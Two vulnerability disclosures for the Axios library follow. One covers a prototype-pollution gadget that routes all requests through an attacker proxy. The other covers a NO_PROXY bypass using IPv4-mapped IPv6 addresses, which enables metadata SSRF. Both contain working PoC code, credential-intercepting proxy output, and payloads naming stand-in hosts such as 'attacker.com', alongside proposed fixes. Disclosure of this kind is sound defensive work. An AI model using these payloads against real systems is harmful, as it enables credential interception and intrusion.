| # Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy` ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server. Unlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. **Severity:** Critical (CVSS 9.4) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy') ## CVSS 3.1 **Score: 9.4 (Critical)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | ### Why This Bypasses mergeConfig The critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means: 1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set 2. `defaultToConfig2` for `proxy` is never called 3. The merged config has **no own `proxy` property** 4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain 5. `Object.prototype.proxy` is found → used by `setProxy()` This is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it. ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ```javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ``` ### 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: ```javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ``` ### 3. The Execution At `http.js:668-670`: ```javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ``` `setProxy()` at `http.js:191-239` then: ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ``` ### 4. The Impact (Full MITM) The attacker's proxy server receives: ```http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, */* ``` The `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker: - **Sees** every request URL, header, and body - **Modifies** every response (inject malicious data, change auth results) - **Logs** all API keys, session tokens, and passwords - Operates as an **invisible** proxy — the developer has no indication ### 5. Verified PoC Code ```javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ``` ## Verified PoC Output ``` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, */*", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) ``` ## Impact Analysis - **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s "must return true". - **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios. - **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. ### Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | **proxy Gadget** | |---|---|---| | Data access | `this.auth` + response data | **All headers, auth, body, URL, response** | | Response control | Must return `true` | **Arbitrary responses** | | Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** | | mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** | ## Recommended Fix ### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties ```javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); ``` ### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty` Properties not in defaults that are read by http.js and have security impact: - `config.proxy` — MITM - `config.socketPath` — Unix socket SSRF - `config.transport` — request hijack - `config.lookup` — DNS hijack - `config.beforeRedirect` — redirect manipulation - `config.httpAgent` / `config.httpsAgent` — agent injection All should use `hasOwnProperty` checks. ### Fix 3: Use null-prototype object for merged config ```javascript // In lib/core/mergeConfig.js const config = Object.create(null); ``` ## Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios) ## Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory | | ||

| ### Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. ### Details lib/helpers/shouldBypassProxy.js (v1.15.0): ```javascript const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ``` The WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass. ### PoC ```javascript // NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass ``` Node.js routes ::ffff:7f00:1 to 127.0.0.1: ``` // net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. ``` Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. #### Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: ```javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return `${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}`; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; }; ``` ### Impact Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration. | ||
